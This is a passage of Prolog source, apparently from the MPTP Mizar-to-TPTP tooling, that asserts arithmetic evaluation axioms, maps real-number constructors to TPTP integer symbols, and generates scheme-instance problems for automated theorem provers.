names.\n%% Cheats by going through the symbol table instead of\n%% traversing all formulas, a bit fragile as a result,\n%% it calls gen_eval_fof on all symbols starting with rq,\n%% and containing at least two '__' substrings. This check could be\n%% stronger if needed, and redundant correct eval fofs don't hurt.\nassert_arith_evals(Names):-\n\tfindall(L,(\n\t\t   current_atom(L),\n\t\t   atom_concat(rq,L1,L),\n\t\t   concat_atom([_,_,_|_],'__',L1),\n\t\t   gen_eval_fof(L,Fof,[]),\n\t\t   assert(Fof)\n\t\t  ),\n\t\tNames).\n\n\nassert_fof_if_not(fof(Name,_,_,_,_)):- fof(Name,_,_,_,_),!.\nassert_fof_if_not(fof(A,B,C,D,E)):- assert(fof(A,B,C,D,E)).\n%% assert_arith_reqs(Names)\n%%\nassert_arith_reqs([spc1_arithm,spc2_arithm,spc3_arithm,spc4_arithm,spc5_arithm,spc6_arithm,\n\t\t   spc7_arithm,spc8_arithm,spc9_arithm,spc10_arithm,spc11_arithm,spc12_arithm]):-\n\tassert_fof_if_not(fof(spc1_arithm,theorem,![(B11: v1_xcmplx_0),(B12: v1_xcmplx_0) ]:\n\t\t\t     ( k2_xcmplx_0(B11,k4_xcmplx_0(B12)) = k6_xcmplx_0(B11,B12) ),\n\t\t\t      file(arithm,spc1_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc2_arithm,theorem,![B21: v1_xcmplx_0]:\n\t\t\t     ( k3_xcmplx_0(B21,k4_xcmplx_0(1)) =  k4_xcmplx_0(B21)),\n\t\t\t      file(arithm,spc2_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc3_arithm,theorem,![B31: v1_xcmplx_0]:\n\t\t\t     ( k7_xcmplx_0(1,B31) =  k5_xcmplx_0(B31)),\n\t\t\t      file(arithm,spc3_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc4_arithm,theorem,![(B41: v1_xcmplx_0),(B42: v1_xcmplx_0),(B43: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(B41,k7_xcmplx_0(B42,B43)) = k7_xcmplx_0(k3_xcmplx_0(B41,B42),B43)),\n\t\t\t      file(arithm,spc4_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc5_arithm,theorem,![(B51: v1_xcmplx_0),(B52: v1_xcmplx_0),(B53: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(k2_xcmplx_0(B51,B52),B53) = k2_xcmplx_0(k3_xcmplx_0(B51,B53),k3_xcmplx_0(B52,B53))),\n\t\t\t      file(arithm,spc5_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc6_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n\t\t\t     ( k2_xcmplx_0(k2_xcmplx_0(B1,B2),B3) = k2_xcmplx_0(B1,k2_xcmplx_0(B2,B3))),\n\t\t\t      file(arithm,spc6_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc7_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(k3_xcmplx_0(B1,B2),B3) = k3_xcmplx_0(B1,k3_xcmplx_0(B2,B3))),\n\t\t\t      file(arithm,spc6_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc8_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k2_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2)) = k4_xcmplx_0(k2_xcmplx_0(B1,B2)) ),\n\t\t\t      file(arithm,spc8_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc9_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k6_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2))  = k6_xcmplx_0(B2,B1) ),\n\t\t\t      file(arithm,spc9_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc10_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2)) = k5_xcmplx_0(k3_xcmplx_0(B1,B2)) ),\n\t\t\t      file(arithm,spc10_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc11_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k7_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2))  = k7_xcmplx_0(B2,B1) ),\n\t\t\t      file(arithm,spc11_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])),\n\tassert_fof_if_not(fof(spc12_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n\t\t\t     ( k3_xcmplx_0(B1,k5_xcmplx_0(B2)) = k7_xcmplx_0(B1,B2) ),\n\t\t\t      file(arithm,spc12_arithm), [mptp_info(0,[],theorem,position(0,0),[0])])).\n\n%%%%%%%%%%%% export arithmetical formulas for testing with E %%%%%%%%%%%%\n\n%% test integer stuff only, numerals only\n%% req_RealAdd(k2_xcmplx_0).\n%% req_RealMult(k3_xcmplx_0).\n%% req_RealNeg(k4_xcmplx_0).\n%% req_RealInv(k5_xcmplx_0).\n%% req_RealDiff(k6_xcmplx_0).\n%% req_RealDiv(k7_xcmplx_0).\n%% req_LessOrEqual(r1_xreal_0).\n\nretract_tptp_int_names(MmlVersion):-\n\treq_RealAdd(MmlVersion, RealAdd),\n\treq_RealMult(MmlVersion, RealMult),\n\treq_RealNeg(MmlVersion, RealNeg),\n\treq_RealDiff(MmlVersion, RealDiff),\n\treq_RealDiv(MmlVersion, RealDiv),\n\treq_LessOrEqual(MmlVersion, LessOrEqual),\n\n\tretractall(constr_name(RealAdd,_,_)),\n\tretractall(constr_name(RealMult,_,_)),\n\tretractall(constr_name(RealNeg,_,_)),\n\tretractall(constr_name(RealDiff,_,_)),\n\tretractall(constr_name(RealDiv,_,_)),\n\tretractall(constr_name(LessOrEqual,_,_)).\n\nassert_tptp_int_names(MmlVersion):-\n\treq_RealAdd(MmlVersion, RealAdd),\n\treq_RealMult(MmlVersion, RealMult),\n\treq_RealNeg(MmlVersion, RealNeg),\n\treq_RealDiff(MmlVersion, RealDiff),\n\treq_RealDiv(MmlVersion, RealDiv),\n\treq_LessOrEqual(MmlVersion, LessOrEqual),\n\n\tassert(constr_name(RealAdd,$plus_int,0)),\n\tassert(constr_name(RealMult,$times_int,0)),\n\tassert(constr_name(RealNeg,$uminus_int,0)),\n\tassert(constr_name(RealDiff,$minus_int,0)),\n\tassert(constr_name(RealDiv,$divide_int,0)),\n\tassert(constr_name(LessOrEqual,$lesseq_int,0)).\n\n%% argument is a rational number incoding an integer\nis_int_rat(r(_,1)).\n\n%% print_int_evals(Names)\n%%\n%% Print arithmetical evaluations involving only integers to stdout,\n%% using the suggested TPTP syntax.\n%%\n%% ##TEST: :- declare_mptp_predicates,load_mml,print_int_evals(_).\nprint_int_evals(Names):-\n\tmml_version(MmlVersion),\n\tretract_tptp_int_names(MmlVersion),\n\tassert_tptp_int_names(MmlVersion),\n\tfindall(L,(\n\t\t   current_atom(L),\n\t\t   atom_concat(rq,L1,L),\n\t\t   concat_atom([_,_,_|_],'__',L1),\n\t\t   decode_eval_name(L, Req, Constructor, MizNumbers, RatNrs),\n\t\t   Req \\= rqRealInv,\n\t\t   Req \\= rqSucc,\n\t\t   checklist(is_int_rat,RatNrs),\n\t\t   create_eval_fla(Req, Constructor, MizNumbers, RatNrs, Fla),\n\t\t   print(fof(L,conjecture, Fla)),\n\t\t   write('.'),nl\n\t\t  ),\n\t\tNames).\n\n%%%%%%%%%%%%%%% generating scheme instances  %%%%%%%%%%%%%%%%%%%%%%%\n\n%% get_sym_subst(+SchemeSymbol,+SubstitutionList,-Substitution)\n%%\n%% find the corresponding subst for X, throw exception if not;\n%% X is assumed to be a scheme functor or predicate\n%% note that copy_term is used here to always refresh the\n%% possible \"unification\" variables, which will later get\n%% instantiated to different arguments\nget_sym_subst(X,[],_):- !, throw(sch_subst(X)).\nget_sym_subst(X,[Z/Y|_],Subst):- X == Z, !, copy_term(X/Y, Subst).\nget_sym_subst(X,[_|T],Subst):- get_sym_subst(X,T,Subst).\n\n%% apply_sch_subst0(+SchemeSymbol,+Substitution,-Value)\n%%\n%% Apply one substitution to SchemeSymbol, yielding Value.\n%% \n%% SchemeSymbol is assumed to be a scheme functor or predicate,\n%% without any arguments.\napply_sch_subst0(Sym,Sym/([]:Val),Val):- !.\napply_sch_subst0(Sym,Sym/([H|T]:Val),Val):- !,throw(sch_subst(Sym,[H|T]:Val)).\napply_sch_subst0(Sym,Sym/Val,Val):-!.\napply_sch_subst0(Sym,Subst,_):- throw(sch_subst(Sym,Subst)).\n\n%% apply_sch_subst1([+SchemeSymbol|+Args],+Substitution,-Value)\n%%\n%% Apply  one Substitution to a SchemeSymbol with Args, yielding\n%% Value. Args must be unifiable with the parameter list of\n%% Substitution if given. If the parameter list is not given, we\n%% assume that the SchemeSymbol corresponds directly to other\n%% constructor, and apply the constructor directly to the Args.\napply_sch_subst1([Sym|Args],Sym/(Vars:Val),Val):- !,\n\t(Vars = Args,!; throw(sch_subst(Sym,Vars:Val))).\n\napply_sch_subst1([Sym|Args],Sym/Val,Val1):- Val1 =.. [Val|Args],!.\napply_sch_subst1(Sym,Subst,_):- throw(sch_subst(Sym,Subst)).\n\n\n%% apply_sch_substs(+Substs,+Fla,-Fla1)\n%%\n%% applies scheme substitutions to Fla, throwing exception\n%% if no substitution for any scheme symbol in Fla does not exist\n\napply_sch_substs_top(Substs,Fla,Fla1):-\n\tapply_sch_substs(Substs,Fla,Fla1), !.\n\n%% end of traversal\napply_sch_substs(_,X,X):- var(X),!.\napply_sch_substs(Substs,X1,X2):- atomic(X1), sch_symbol(X1), !,\n\tget_sym_subst(X1,Substs,Subst),\n\tapply_sch_subst0(X1,Subst,X2).\n\napply_sch_substs(_,X,X):- atomic(X),!.\n\napply_sch_substs(Substs,X1,X2):- X1 =.. [H1|T1], sch_symbol(H1), !,\n\tmaplist(apply_sch_substs(Substs),T1,T2),\n\tget_sym_subst(H1,Substs,Subst),\n\tapply_sch_subst1([H1|T2],Subst,X2).\n\napply_sch_substs(Substs,X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(apply_sch_substs(Substs),T1,T2),\n\tX2 =.. [H1|T2].\n\n%% add_univ_context(+VarDecls,+FlaIn,-FlaOut)\n%%\nadd_univ_context([],Fla,Fla).\nadd_univ_context([H|T], Fla, ( ! [H|T] : ( Fla) )).\n\n%% gen_sch_instance(?SchInstName,?File,-Res,+Options)\n%%\n%% Generate a scheme instance SchInstNam as fof with the same\n%% level (that is []) as the original scheme.\n%% If opt_REM_SCH_CONSTS is passed in Options, all local\n%% constants inside the instance are generalized to universally\n%% quantified variables.\n%% Why does generalizing of local constants yield a valid theorem\n%% in this case:\n%% - the constants never appear in the original scheme, and what we\n%%   have is its instance (which involves only type checking, no \n%%   special knowledge about the constant); therefore any object \n%%   (with the same type) can be used at the place of the constant.\n%% \n%% ##NOTE: fraenkels in schemes are already deanonymized here, therefore\n%%       we have to check sch_orig_copy/2 for instantiation: incase the \n%%       original scheme contained a fraenkel, we'll use the original.\n%%       This assumes that fraenkels will be abstracted after this (which is true).\ngen_sch_instance(SI_Name,F,Res,Options):-\n\tfof(Ref,_,_,file(F,_),\n\t    [MPTPInfo,inference(mizar_from,InferInfo,_Refs)|_]),\n\tmember(scheme_instance(SI_Name,S_Name,Ref,_,Substs), InferInfo),\n\tMPTPInfo= mptp_info(_Nr,Lev,_Kind,Pos,_Args),\n\tonce((sch_orig_copy(S_Name,Fla); fof(S_Name,theorem,Fla,_,_))),\n\tcopy_term(Fla,Tmp),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\t(member(opt_REM_SCH_CONSTS,Options) ->\n\t    generalize_consts(Fla0, Tmp2, UnivContext, _ ),\n\t    add_univ_context(UnivContext, Tmp2, Fla1),\n\t    Lev1 = []\n\t;\n\t    Fla1 = Fla0, Lev1 = Lev\n\t),\n\tRes = fof(SI_Name,theorem, Fla1, file(F,SI_Name),\n\t\t  [mptp_info(0,Lev1,scheme_instance,Pos,[]),\n\t\t   inference(mizar_sch_instance,InferInfo,[S_Name])]).\n\n%% How to generate a proof of the scheme instance from the original scheme\n%% proof:\n%% method I:\n%% 1. generate the instance without generalization\n%% 2. replace the scheme symbols everywhere in the original proof by their\n%%    instances (the same process as for the instance)\n%% 3. generalize the instance - this yields a constant-to-var substitution,\n%%    and a universal context\n%% 4. apply the substitution (apply_const_substs) to all proof references\n%%    (actually first collect all other local consts from the references,\n%%     and enrich the substitution by identity on them, otherwise\n%%     get_const_subst will throw exception on them),\n%% 5. add the universal context to all the proof references (can be optimized,\n%%    to add only the needed subcontext)\n%%\n%% method II.\n%% 1. generate the instance without generalization\n%% 2. generalize it, yielding the constant substitution, and the univ context\n%% 3. compose the scheme instance subst with the constant subst\n%% 4. apply just this composed subst (i.e. pass only once), and also add the context\n%%\n%% Note: tricky business, be sure to do copy_term on the substitution each time\n%%       before using it\n%%\n%% Technicalities:\n%% - the nasmespace for local constants from different articles is now not\n%%   separated - this makes loading of the \"scheme article\" on demand impossible,\n%%   while the \"scheme instance article\" is loaded;\n%% - solution: when creating article problems ...\n%% - are there problems with computing background?:\n%%   - yes, if we only loaded the \n%%   \"scheme article's BG, then we cannot first instantiate, \n%%   and then compute BG, because the instantiation possibly contains constructors\n%%   which are not in the BG; however, we always load full MML; this leaves\n%%   out BG info only for the \"scheme instance article\" (if local consts are\n%%   generalized);\n%%   - if we first compute BG, it may be smaller, since the instances symbols will\n%%   not interact with the set of symbols involved in the scheme's proof;\n%%   however, we'll need to remove the facts about the original scheme functors and\n%%   preds, and add typing BG for the instances symbols instead\n\n%% the algo for creating the high-level (not ND) reproving problems is\n%% actually simple\n%% - generate the reproving problem for the original scheme;\n%%   that problem contains top-level references (top lemmas,\n%%   theorems, defs, scheme instances), possibly fraenkel defs,\n%%   typing info about the scheme functors and predicates, and\n%%   other top-level background (even if a top-level constant\n%%   typing is there, we should be OK, since this is done for the\n%%   article with the original scheme)\n%% - if another scheme instance is used in the proof, apply the\n%%   substitutions to the scheme functors\n%% - but in addition to the standard filtering of sublevel references,\n%%   filter also all the typing info for the scheme functors\n%% - compute background for the generalized scheme instance; it needs\n%%   to be done in the context of the instance article \n\n%% - add to the top-level symbol set the symbols from the scheme instance\n%%   (actually those from the generalized-consts version should be enough)\n%% - rerun\n\n\n%% get_top_scheme_instances_for(+Problem, -SchInstances)\n%%\n%% Generates the chains of scheme instances for the Problem.\n%% Allowed problems must be top-level. The chains can be later re-used for\n%% constructing proper proofs of the instances.\n%% Following generates the chains of scheme instances for the MPTP Challenge:\n%% ##TEST: :- get_top_scheme_instances_for(l37_yellow19, SchInstances), write(SchInstances),length(SchInstances,N).\n%% Follwing writes only the top-level scheme instances (useful as input for\n%% mk_sch_instance_problem_from_th_top_l)\n%% ##TEST: :- get_top_scheme_instances_for(l37_yellow19, SchInstances),\n%%            findall(S,(member(SL,SchInstances),length(SL,N),N1 is N - 1, nth1(N1,SL,S)),Tops1),\n%%\t      sort(Tops1,Tops), write(Tops),length(Tops,L1).\nget_top_scheme_instances_for(Problem, SchInstances):-\n\tdeclare_mptp_predicates,load_mml,load_lemmas,\n\tinstall_index,\n\tget_top_scheme_instances_for1(Problem, [], [], SchInstances, _).\nget_top_scheme_instances_for1(Problem, _SchAncestors, DoneThsIn, [], DoneThsIn):-\n\tmember(Problem, DoneThsIn),!.\nget_top_scheme_instances_for1(Problem1, SchAncestors, DoneThsIn, SchInstances, DoneThsOut):-\n\t(\n\t  Problem1 = [Problem, ProbSchInst],!\n\t;\n\t  Problem = Problem1\n\t),\n\tget_ref_fof(Problem, fof(_,_,_,_,Info)),\n\tInfo = [_, inference(_,_,ARefs0) |_ ],\n\tfindall(ARef0,\n\t\t(\n\t\t  member(ARef0,ARefs0),\n\t\t  atom_chars(ARef0,[C1|Cs1]),\n\t\t  member(C1,[t,l])\n\t\t),\n\t\tTopThRefs1\n\t       ),\n\tsort(TopThRefs1, TopThRefs2),\n\tsubtract(TopThRefs2, DoneThsIn, TopThRefs),\n\tfindall([ARef2, ARef0],\n\t\t(\n\t\t  member(ARef0,ARefs0),\n\t\t  atom_chars(ARef0,[s|Cs1]),\n\t\t  fix_sch_ref(ARef0,[s|Cs1],ARef2)\n\t\t),\n\t\tTopSchPairs\n\t       ),\n\t(\n\t  Problem1 = [Problem, ProbSchInst] ->\n\t  NewDone = DoneThsIn,\n\t  NewSchAncestors = [ ProbSchInst | SchAncestors]\n\t;\n\t  NewDone = [Problem|DoneThsIn],\n\t  NewSchAncestors = [ Problem ]\n\t),\n\tzip(_TopSchRefs, TopSchInsts, TopSchPairs),\n\tget_top_scheme_instances_for1_l(TopThRefs, [], NewDone, SchInsts1, DoneThsOut1),\n\tget_top_scheme_instances_for1_l(TopSchPairs, NewSchAncestors, DoneThsOut1, SchSchInsts1, DoneThsOut),\n\tfindall([SchInst | NewSchAncestors], member(SchInst, TopSchInsts), TopSchInsts1),\n\tappend(TopSchInsts1, SchInsts1, SchInsts2),\n\tappend(SchInsts2, SchSchInsts1, SchInstances).\n\nget_top_scheme_instances_for1_l([], _, DoneThsIn, [], DoneThsIn).\nget_top_scheme_instances_for1_l([H|T], SchAncestors, DoneThsIn, SchInstances, DoneThsOut):-\n\tget_top_scheme_instances_for1(H, SchAncestors, DoneThsIn, SchInstances1, DoneThsOut1),\n\tget_top_scheme_instances_for1_l(T, SchAncestors, DoneThsOut1, SchInstances_l, DoneThsOut),\n\tappend(SchInstances1, SchInstances_l, SchInstances).\n\n\n% mk_rec_sch_instance_problem_from_th(SI_Name,Options, SubstStackIn, NewSubstStack, SchInstsToDo):-\n%\tmk_sch_instance_problem_from_th(SI_Name,Options, SubstStackIn, NewSubstStack, SchInstsToDo).\n\t\nmk_sch_instance_problem_from_th_l(_Ancestors, [], _Options, _SubstStackIn).\nmk_sch_instance_problem_from_th_l(Ancestors, [SI_Name |T], Options, SubstStackIn):-\n\tmk_sch_instance_problem_from_th(Ancestors,SI_Name,Options, SubstStackIn, _NewSubstStack,\n\t\t\t\t\t_NewAncestors, _SchInstsToDo),\n\tmk_sch_instance_problem_from_th_l(Ancestors, T, Options, SubstStackIn).\n\nmk_sch_instance_problem_from_th_top(SI_Name,Options):-\n\tabolish(rec_sch_inst_name/2),\n\tdynamic(rec_sch_inst_name/2),\n\tmk_sch_instance_problem_from_th([],SI_Name,Options, [],\n\t\t\t\t\t_NewSubstStack, _NewAncestors, _SchInstsToDo).\n\n%% Following creates all scheme instance problems for MPTP Challenge (note that it also\n%% creates instances of tarski, which are axioms (not provable) - those problems\n%% should be removed\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,\n%%      A=[s1_ordinal1__e8_6__wellord2,s1_ordinal2__e18_27__finset_1,s1_relat_1__e6_21__wellord2,\n%%\ts1_wellord2__e6_39_3__yellow19,s1_xboole_0__e4_27_3_1__finset_1,s1_xboole_0__e6_22__wellord2,\n%%\ts1_xboole_0__e6_27__finset_1,s2_finset_1__e11_2_1__waybel_0,s2_funct_1__e10_24__wellord2,\n%%\ts2_funct_1__e4_7_1__tops_2,s2_funct_1__e4_7_2__tops_2,s3_funct_1__e16_22__wellord2,\n%%\ts3_subset_1__e1_40__pre_topc,s3_subset_1__e2_37_1_1__pre_topc],\n%%       mk_sch_instance_problem_from_th_top_l(A,[opt_MK_TPTP_INF, opt_REM_SCH_CONSTS]).\nmk_sch_instance_problem_from_th_top_l(SI_Names,Options):-\n\tabolish(rec_sch_inst_name/2),\n\tdynamic(rec_sch_inst_name/2),\n\tmk_sch_instance_problem_from_th_l([],SI_Names,Options, []).\n\n%% The main procedure for creating problems from layered scheme instances.\n%% The NewSubstStack, NewAncestors, and SchInstsToDo are now unused as output\n%% parameters ( could be changed in the future).\n%% ##TODO: Should be (much) improved in terms of efficiency (minimize the number of\n%% full article reloadings for a set of schemes!!).\n%% ##TODO: enhance to create an ND version for GDV (possible way: use new dummy\n%%         scheme functors/predicates for outputing the main scheme ND proof, then\n%%         just add equivalence to their instances and verify the instances' typing)\nmk_sch_instance_problem_from_th(Ancestors,SI_Name,Options, SubstStackIn, NewSubstStack, NewAncestors, SchInstsToDo):-\n\tensure(concat_atom([S_Name, Problem1, InstArticle], '__', SI_Name), schinst_name(SI_Name)),\n\tget_sch_inst_name(Ancestors, SI_Name, SchInstName),\n\tprint([SI_Name, SchInstName, Ancestors]), nl,\n\tget_ref_fof(S_Name, fof(S_Name,_,Fla,file(SchArticle,_),SchInfo)),\n\tSchInfo = [mptp_info(_,_,_,_,_), inference(_,_,SchRefs) | _],\n\tfindall(SchInst1,\n\t\t(\n\t\t  member(SchInst1, SchRefs),\n\t\t  atom_concat('s', _, SchInst1)\n\t\t),\n\t\tSchInstsToDo\n\t       ),\n\t%% print the background and conjecture created from the InstArticle,\n\t%% also create the substitutions and the UnivContext\n\tload_proper_article(InstArticle, Options, PostLoadFiles),\n\tfof(Problem1,_,_,file(InstArticle,_),\n\t    [MPTPInfo,inference(mizar_from,InferInfo,_Refs)|_]),\n\tMPTPInfo = mptp_info(_,_,_,position(InstLine0, InstCol0),_),\n\tmember(scheme_instance(SI_Name,S_Name,_Ref,_,Substs), InferInfo),\n\t(\n\t    member(position(InstLine,InstCol), InferInfo) -> true\n\t;\n\t    InstLine = InstLine0,\n\t    InstCol = InstCol0\n\t),\n\tzip_s('/',SchFuncsAndPreds,_SchInsts,Substs),\n\tcopy_term(Fla,Tmp),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\t(member(opt_REM_SCH_CONSTS,Options) ->\n\t    generalize_consts(Fla0, Tmp2, UnivContext, NewConstSubst),\n\t    add_univ_context(UnivContext, Tmp2, Fla1_1)\n\t;\n\t    ensure(fail, bad_sch_inst_options(Options))\n\t),\n\t(\n\t  Ancestors = [] -> BGArticle = InstArticle, Problem = Problem1, BGPostLoadFiles = PostLoadFiles\n\t;\n\t  last(Ancestors, [Problem, BGArticle]),\n\t  retractall(fof(_,_,_,file(InstArticle,_),_)),\n\t  load_files(PostLoadFiles,[silent(true)]),\n\t  load_proper_article(BGArticle, Options, BGPostLoadFiles)\n\t),\n\tprint([SubstStackIn, Fla1_1]),\n\tinstantiate_and_gen_sch_inst_many(SubstStackIn, Fla1_1, Fla1), write(hehe),nl,\n\tprint(Fla1),nl,\n\t\n\tcollect_symbols_top( Fla1, Syms1),\n\tNewSubstStack = [[UnivContext, NewConstSubst, Substs] | SubstStackIn],\n\tNewAncestors = [[Problem1,InstArticle] | Ancestors],\n%\tzip(AncProblems,AncArticles,NewAncestors),\n%\tconcat_atom(AncProblems,'__',OutName1),\n\tOutName1 = SchInstName,\n\tensure(article_position(Problem, Pos1), throw(article_position(Problem))), write(haha),\n\tonce(fixpoint(BGArticle, [Pos1, []], mizar_from, [], [], Syms1, AllRefs)),\n\tconcat_atom([problems,'/',dummy_schinst,'_',OutName1],Outfile),\n\ttell(Outfile),\n\tformat('% Mizar problem: ~w,~w,~w,~w,~w ~n', [SI_Name,InstArticle,InstLine,InstCol,Ancestors]),\n\twrite('% scheme substs: '),\n\tprint(Substs), nl,\n\twrite('% constant substs: '),\n\tprint(NewConstSubst), nl,\n\twrite('% subst stack: '),\n\tprint(SubstStackIn), nl,\n\tdelete(AllRefs, SI_Name, ProperRefs1),\n\n\tcopy_term(Fla1, Fla11),\n\tsort_transform_top(Fla11,SR2),\n\tnumbervars(SR2,0,_),\n\tprint(fof(SchInstName,conjecture,SR2,file(BGArticle,SchInstName),[])),\n\twrite('.'), nl,\n\n%\tprint_ref_as_conjecture(Options, [], SI_Name),\n\tchecklist(print_ref_as_axiom(Options), ProperRefs1),\n\twrite('%%% end of instance refs'), nl,\n\ttold,\n\tretractall(fof(_,_,_,file(BGArticle,_),_)),\n\tload_files(BGPostLoadFiles,[silent(true)]),\n\t%% now print the scheme proof\n\t%% the scheme functor axioms are filtered away (replaced by type inference\n\t%% on their instances),\n\tload_proper_article(SchArticle, Options, SchPostLoadFiles),\n\tmk_problem_data(_,SchArticle,dummy,[[mizar_proof],\n\t\t\t\t\t     [scheme], problem_list([S_Name])],\n\t\t\t\t Options,_Outfile,_Line,_Col,SchAllRefs),\n\tget_sec_info_refs([], SchFuncsAndPreds,\n\t\t\t  [mptp_info(_,_,functor,_,[scheme,type|_])|_], SchFuncTyps),\n\tdelete(SchAllRefs, S_Name, SchProperRefs1),\t\n\tsubtract(SchProperRefs1, ProperRefs1, SchNewProperRefs0),\n\tsubtract(SchNewProperRefs0, SchFuncTyps, SchNewProperRefs2),\n\tsubtract(SchNewProperRefs2, SchInstsToDo, SchNewProperRefs1),\n\tmaplist(mk_sch_inst_name(NewAncestors), SchInstsToDo, _NewSchInstsNames),\n\tappend(Outfile),\n\tchecklist(rec_instantiate_and_gen_sch_inst(NewSubstStack, Options, NewAncestors), SchInstsToDo),\n\tchecklist(print_ref_as_axiom(Options), SchNewProperRefs1),\n\tretractall(fof(_,_,_,file(SchArticle,_),_)),\n\tload_files(SchPostLoadFiles,[silent(true)]),\n\ttold,\n\tmk_sch_instance_problem_from_th_l(NewAncestors,SchInstsToDo,Options,NewSubstStack).\n\n\n%% get_sch_inst_name(+Ancestors, +SchInst, -SchInstName)\n%%\n%% assumes that we are inside mk_sch_instance_problem_from_th,\n%% and that nontrivial (i.e. layered scheme instance) names were\n%% already created by call to mk_sch_inst_name, and are available\n%% in rec_sch_inst_name/2\nget_sch_inst_name([], SchInst, SchInst).\nget_sch_inst_name([H | T], SchInst, SchInstName):-\n\tlast([H | T], [Problem, BGArticle]),\n\tconcat_atom([S_Name, _Problem1, _InstArticle], '__', SchInst),\n\tconcat_atom([S_Name, Problem, BGArticle], '__', SchInst1),\n\trec_sch_inst_name(SchInst1,N),\n\tconcat_atom([SchInst1, '__', N], SchInstName).\n\n%% mk_sch_inst_name(+Ancestors, +SchInst, -SchInstName)\n%%\n%% create a name for a layered scheme instance, store it\n%% using rec_sch_inst_name/2\n%%\n%% mk_sch_inst_name([], SchInst, SchInst).\nmk_sch_inst_name( [H | T], SchInst, SchInstName):-\n\tlast([H | T], [Problem, BGArticle]),\n\tconcat_atom([S_Name, _Problem1, _InstArticle], '__', SchInst),\n\tconcat_atom([S_Name, Problem, BGArticle], '__', SchInst1),\n\t(\n\t  retract(rec_sch_inst_name(SchInst1,N)) ->\n\t  N1 is N + 1\n\t;\n\t  N1 = 1\n\t),\n\tassert(rec_sch_inst_name(SchInst1,N1)),\n\tconcat_atom([SchInst1, '__', N1], SchInstName).\n\t\n\t\n%% rec_instantiate_and_gen_sch_inst(+SubstStack, +Options, +Ancestors, +SchInst)\n%%\n%% Instantiate a scheme SchInst using the stack of substitutions SubstStack.\n%% The Options and Ancestors serve only for printing info.\nrec_instantiate_and_gen_sch_inst(SubstStack, Options, Ancestors, SchInst):-\n\tget_ref_fof(SchInst, fof(SchInst,_,Fla,Q3,Q4)),\n\tensure(get_sch_inst_name(Ancestors, SchInst, SchInstName), get_sch_inst_name(SchInst)),\n\tinstantiate_and_gen_sch_inst_many(SubstStack, Fla, FlaOut),\n\tsort_transform_top(FlaOut,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tStatus = axiom, QQ3 = Q3, QQ4= [],\n\t(member(opt_MK_TPTP_INF,Options) ->\n\t    print(fof(SchInstName,Status,SR2,QQ3,QQ4))\n\t;\n\t    print(fof(SchInstName,Status,SR2,Q3,Q4))\n\t),\n\twrite('.'),\n\tnl.\n\n\n%% perform %% instantiate_and_gen_sch_inst/5 multiple times \ninstantiate_and_gen_sch_inst_many([], FlaIn, FlaIn).\ninstantiate_and_gen_sch_inst_many([[UnivContext, NewConstSubst, Substs] | OldSubstStack], FlaIn, FlaOut):-\n\tcopy_term(FlaIn,Tmp),\n\tcopy_term([UnivContext,NewConstSubst], [FreshUnivContext, FreshConstSubst]),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\tapply_const_substs(FreshConstSubst, Fla0, Fla1),\n\tadd_univ_context(FreshUnivContext, Fla1, FlaOut1),\n\tinstantiate_and_gen_sch_inst_many(OldSubstStack, FlaOut1, FlaOut).\n\n%% instantiate_and_gen_sch_inst(+UnivContext, +NewConstSubst, +Substs, +FlaIn, -FlaOut)\n%%\n%% Apply a scheme substitution Substs to FlaIn, then apply constant substitutions\n%% in NewConstSubst to the result, and add the UnivContext to it.\ninstantiate_and_gen_sch_inst(UnivContext, NewConstSubst, Substs, FlaIn, FlaOut):-\n\tcopy_term(FlaIn,Tmp),\n\tcopy_term([UnivContext,NewConstSubst], [FreshUnivContext, FreshConstSubst]),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\tapply_const_substs(FreshConstSubst, Fla0, Fla1),\n\tadd_univ_context(FreshUnivContext, Fla1, FlaOut).\n\n%% get_problem_sch_insts_from_article(+Article, +ProblemPairs, +Options, -SI_Names, topRefs)\n%%\n%% Get scheme instances from problems (generated with Options) in ProblemPairs\n%% corresponding to Article.\n%% Not used now, but an example of using mk_problem_data.\nget_problem_sch_insts_from_article(A, Pairs, Options, SI_Names, topRefs):-\n\tfindall(P, member([A,P], Pairs), 